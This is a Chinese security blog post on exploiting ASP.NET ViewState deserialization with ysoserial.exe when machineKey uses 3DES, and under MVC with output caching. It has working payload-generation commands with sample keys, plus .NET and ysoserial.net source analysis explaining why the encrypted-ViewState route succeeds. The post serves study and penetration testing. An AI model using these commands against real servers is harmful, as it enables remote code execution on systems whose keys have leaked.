0x00 简介
在我们日常渗透活动中,在Web.config或者使用反射会见到几个常见的词: validationalg
、 decryptionalg
、 validationkey
、 decryptionkey
。其中validation是签名算法,decryption为加密解密算法,也就是说如果没有配置decryption那么其实我们的payload发送是明文发送的。
比如使用如下没有配置加密算法的生成
由于我们探究的是.net4框架下的生成,需要指定
generator
,如果是指定apppath和path不加参数islegacy则默认是4.5的算法。
ysoserial.exe -p ViewState-g TypeConfuseDelegate-c "echo 123 > c:programdatatest.txt"--generator="D4124C05"--validationalg="HMACSHA256"--validationkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"
配置加密算法的生成
ysoserial.exe -p ViewState-g TypeConfuseDelegate-c "echo 123 > c:programdatatest.txt"--generator="D4124C05"-decryptionalg="AES"--decryptionkey="2F8F788904412A1CE0FA5820E17F71493BF081E5FA99DCF8A49F203571B71874"--validationalg="HMACSHA256"--validationkey="DF76158EEDECBF6F84AA076534AB09CE31F022096F45B043C135D4BAB93C16B8"--isencrypted
根据日常使用,比如 .net4
框架以下我们基本上遇到的都是 validationalg
的类型为 HMACSHA256
、 SHA1
然后没有 decryptionalg
,很容易就能反序列化。
0x01 特殊环境
1.1 失败测试
这篇文章讲到Net 反序列化之 ViewState 利用
经过上面长篇大论的贴代码、分析。我们已经大致明白了ASP.NET 生成和解析ViewState 的流程。这有助帮助我们理解如何伪造 ViewState。当然了伪造 ViewState 仍然需要 泄露web.config,知晓其 密钥与算法。
如果签名算法不是AES/3DES,无论是否开启加密功能,我们只需要根据其签名算法和密钥,生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段,导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验,而不再执行解密步骤。
如果签名算法是 AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。 然后发送给服务端,ASP.NET 进入 GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。 换种表达方式,无论使用什么签名算法,无论是否开启加密功能,我们伪造ViewState时,就按照没有开启加密功能情况下的正常步骤,去伪造ViewState。
假如我们的环境是3DES我们如何才能成功反序列化呢,这个环境网上基本没有人提过。
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrorsmode="Off"/>
<machineKeyvalidation="3DES"validationKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"decryption="3DES"decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"
/>
<pagesenableViewStateMac="true"/>
</system.web>
</configuration>
先看 GetDecodeData
源码
[Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
internalstaticbyte[]GetDecodedData(byte[] buf,byte[] modifier,int start,int length,refint dataLength)
{
EnsureConfig();
if(s_config.Validation==MachineKeyValidation.TripleDES|| s_config.Validation==MachineKeyValidation.AES){
buf =EncryptOrDecryptData(false, buf, modifier, start, length,true);
if(buf ==null|| buf.Length<_HashSize)
thrownewHttpException(SR.GetString(SR.Unable_to_validate_data));
length = buf.Length;
start =0;
}
if(length <_HashSize|| start <0|| start >= length)
thrownewHttpException(SR.GetString(SR.Unable_to_validate_data));
byte[] bHash =HashData(buf, modifier, start, length -_HashSize);
for(int iter =0; iter < bHash.Length; iter++)
if(bHash[iter]!= buf[start + length -_HashSize+ iter])
thrownewHttpException(SR.GetString(SR.Unable_to_validate_data));
dataLength = length -_HashSize;
return buf;
}
如果 Web.config
中指定的 Validation
是3DES或AES那么payload始终是加密的。
再看 GetEncodeData
源码
[Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
internalstaticbyte[]GetEncodedData(byte[] buf,byte[] modifier,int start,refint length)
{
EnsureConfig();
byte[] bHash =HashData(buf, modifier, start, length);
byte[] returnBuffer;
if(buf.Length- start - length >= bHash.Length)
{
// Append hash to end of buffer if there's space
Buffer.BlockCopy(bHash,0, buf, start + length, bHash.Length);
returnBuffer = buf;
}
else
{
returnBuffer =newbyte[length + bHash.Length];
Buffer.BlockCopy(buf, start, returnBuffer,0, length);
Buffer.BlockCopy(bHash,0, returnBuffer, length, bHash.Length);
start =0;
}
length += bHash.Length;
if(s_config.Validation==MachineKeyValidation.TripleDES|| s_config.Validation==MachineKeyValidation.AES){
returnBuffer =EncryptOrDecryptData(true, returnBuffer, modifier, start, length,true);
length = returnBuffer.Length;
}
return returnBuffer;
}
先加HMAC再加密,综上的出来的结论就是直接调用 GetEncodeData
即可得到正确的值,那么我们来看 ysoserial.net
的代码
if(!isEncrypted)
{
var getterGetEncodedData =typeof(MachineKeySection).GetMethod("GetEncodedData",BindingFlags.Static|BindingFlags.NonPublic);
byteResult =(byte[])getterGetEncodedData.Invoke(null,newobject[]{ payload, _macKeyBytes,0, payload.Length});
}
else
{
var getterEncryptOrDecryptData =typeof(MachineKeySection).GetMethod("EncryptOrDecryptData",BindingFlags.Static|BindingFlags.NonPublic,null,
newType[]{typeof(bool),typeof(byte[]),typeof(byte[]),typeof(int),typeof(int)},null);
byteResult =(byte[])getterEncryptOrDecryptData.Invoke(null,newobject[]{true, payload, _macKeyBytes,0, payload.Length});
}
默认 isEncrypted
是false,也就是默认走的 GetEncodedData
,那么用命令生成一下
ysoserial.exe -p ViewState-g TypeConfuseDelegate-c "echo 123 > c:programdatatest.txt"--generator="D4124C05"--validationalg="3DES"--validationkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"-decryptionalg="3DES"--decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"
并没有反序列化成功,我们dnspy附加进程看看怎么回事。
在 buf=MachineKeySection.EncryptOrDecryptData(false,buf,modifier,start,length,true);
这一步解密失败了。
1.2 成功测试
在请教多人后,还是失败,最后我测试出这种方式,成功反序列化,我们看到反序列化中有2条路
if(!isEncrypted)
{
var getterGetEncodedData =typeof(MachineKeySection).GetMethod("GetEncodedData",BindingFlags.Static|BindingFlags.NonPublic);
byteResult =(byte[])getterGetEncodedData.Invoke(null,newobject[]{ payload, _macKeyBytes,0, payload.Length});
}
else
{
var getterEncryptOrDecryptData =typeof(MachineKeySection).GetMethod("EncryptOrDecryptData",BindingFlags.Static|BindingFlags.NonPublic,null,
newType[]{typeof(bool),typeof(byte[]),typeof(byte[]),typeof(int),typeof(int)},null);
byteResult =(byte[])getterEncryptOrDecryptData.Invoke(null,newobject[]{true, payload, _macKeyBytes,0, payload.Length});
}
如果我们使用 EncryptOrDecryptData
这条路呢
ysoserial.exe -p ViewState-g TypeConfuseDelegate-c "echo 123 > c:programdatatest.txt"--generator="D4124C05"--validationalg="3DES"--validationkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"-decryptionalg="3DES"--decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"--isencrypted
通过源码可以看到 this.ContainsEncryptedViewState=true;
即可进入该分支
if(this._requestValueCollection["__VIEWSTATEENCRYPTED"]!=null)
{
this.ContainsEncryptedViewState=true;
}
也就是请求 __VIEWSTATEENCRYPTED
不为空
1.3 失败原因
当初很懒没有想过为什么会失败,正好最近瞄了一眼
我们Debug ysoserial.net
看看,原来我们没有制定isEncrypted的话他默认是对Decryption是没有值去赋,所以源码我们删掉这个即可。本身代码是没问题的,只是ys判断这里有点问题。
0x02 MVC下的Viewstate
MVC架构下,默认情况下MVC并不支持解析 Viewstate
,但在开启 OutputCacheAttribute
后会主动解析 Viewstate
的值。这里不谈论4.5以下的架构,因为感觉基本遇不到,path为 /
即可,但是需要直接修改ys的源码,直接命令行传入他组合的值是不正确的。在4.5以上我们需要指定Apppath和Path,这里基本就是探究如何找到这2个值,最快的方法就是直接Debug附加IIS进程
开启 OutputCacheAttribute
publicclassFilterConfig
{
publicstaticvoidRegisterGlobalFilters(GlobalFilterCollection filters)
{
filters.Add(newHandleErrorAttribute());
filters.Add(newOutputCacheAttribute
{
Duration=0,
NoStore=true,
});
}
}
查看ys生成源码,发现具体的值指定在specificPurposes
privateobject generateViewState_4dot5(string targetPagePath,stringIISAppInPath,string viewStateUserKey,byte[] payload)
{
var purposeType = systemWebAsm.GetType("System.Web.Security.Cryptography.Purpose");
object[] parameters =newobject[2];
string mainPurpose ="WebForms.HiddenFieldPageStatePersister.ClientState";
// list of useful main purposes:
// for "__VIEWSTATE": "WebForms.HiddenFieldPageStatePersister.ClientState"
// for "__EVENTVALIDATION": "WebForms.ClientScriptManager.EventValidation"
// for P2 in P1|P2 in "__dv" + ClientID + "__hidden": "WebForms.DetailsView.KeyTable"
// for P4 in P1|P2|P3|P4 in "__CALLBACKPARAM": "WebForms.DetailsView.KeyTable"
// for P3 in P1|P2|P3|P4 in "__gv" + ClientID + "__hidden": "WebForms.GridView.SortExpression"
// for P4 in P1|P2|P3|P4 in "__gv" + ClientID + "__hidden": "WebForms.GridView.DataKeys"
parameters[0]= mainPurpose;
// This is where the path is important
string[] specificPurposes =newString[]{
"TemplateSourceDirectory: "+ simulateTemplateSourceDirectory(targetPagePath).ToUpperInvariant(),
"Type: "+ simulateGetTypeName(targetPagePath,IISAppInPath).ToUpperInvariant()
};
可以看到这两个值为
string[] specificPurposes =newString[]{
"TemplateSourceDirectory: ",
"Type: OUTPUTCACHEDPAGE"
};
测试成功
这里很让人抓狂的是,我最开始的思路就是这样,但是死活测试不成功。请教草老师后给我的payload也是如此生成,但是我还是没成功。最后我换了个环境就成功了,并且老环境也可以了。
原文始发于微信公众号(404安全):ViewState反序列化-不常见加密组合
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论